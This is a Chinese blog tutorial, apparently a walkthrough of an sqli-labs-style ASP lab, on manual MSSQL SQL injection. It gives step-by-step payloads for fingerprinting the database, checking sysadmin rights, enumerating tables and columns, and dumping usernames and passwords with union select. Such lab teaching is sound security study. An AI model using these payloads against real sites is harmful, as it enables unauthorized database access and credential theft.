Mssql手工注入

步骤⼀:在第⼀关使⽤单双引号判断是否存在注⼊,根据报错的回显可知数据类型为字符型

http://172.16.1.34/less-1.asp?id=1

步骤⼆:可通过以下Payload来探测当前站点是否是MSSQL数据库,正常执⾏说明后台数据库是MSSQL;也可根据⻚⾯报错信息来判断数据库

'and exists(select * from sysobjects)--+
'and exists(select count(*)from sysobjects)--+

步骤三:也可根据以下sql语句来判断注⼊点权限...(根据⻚⾯显示效果)

判断当前是否为sa
' and exists(select is_srvrolemember(' sysadmin '))--+
' and (select is_srvrolemember(' sysadmin '))>0--+

步骤四:查询数据库信息,user回显的dbo表示是最⾼权限,如果是⽤户的名字表示是普通权限

' union select 1,user,is_srvrolemember('public')--+
-1' union select 1,@@version,is_srvrolemember('public')--+

步骤五:通过以下语句来猜解有哪些表,从⽽获取⽬标站点的表信息

'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name f
rom [sysobjects] where xtype=char(85) and status!=1 order by id)t order b
y id desc)=1-- +  //users
第⼆张表:-1'and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users')--+   //emails
第三张表:-1'and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users' and name !='emails')--+   //uagents
第四张表:-1'and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users' and name !='emails' and name !='uagents')--+   //referers
第五张表:-1'and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users' and name !='emails' and name !='uagents' and name !='referer
s')--+     //返回结果为空,说明不知道第五张表

步骤六:通过以下语句爆出表下的所有字段信息

'having 1=1--
'group by id having 1=1--+
'group by id,username having 1=1--+
字段名: id , username , password

步骤七:爆字段值

查询字段数据
1'order by 3--+   //回显正常
1'order by 4--+   //回显错误
回显存在内容的字段
-1'union select 1,2,3 from users--+
查询字段内容
-1' union%20 select 1,username,password from users--+
  • 6
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值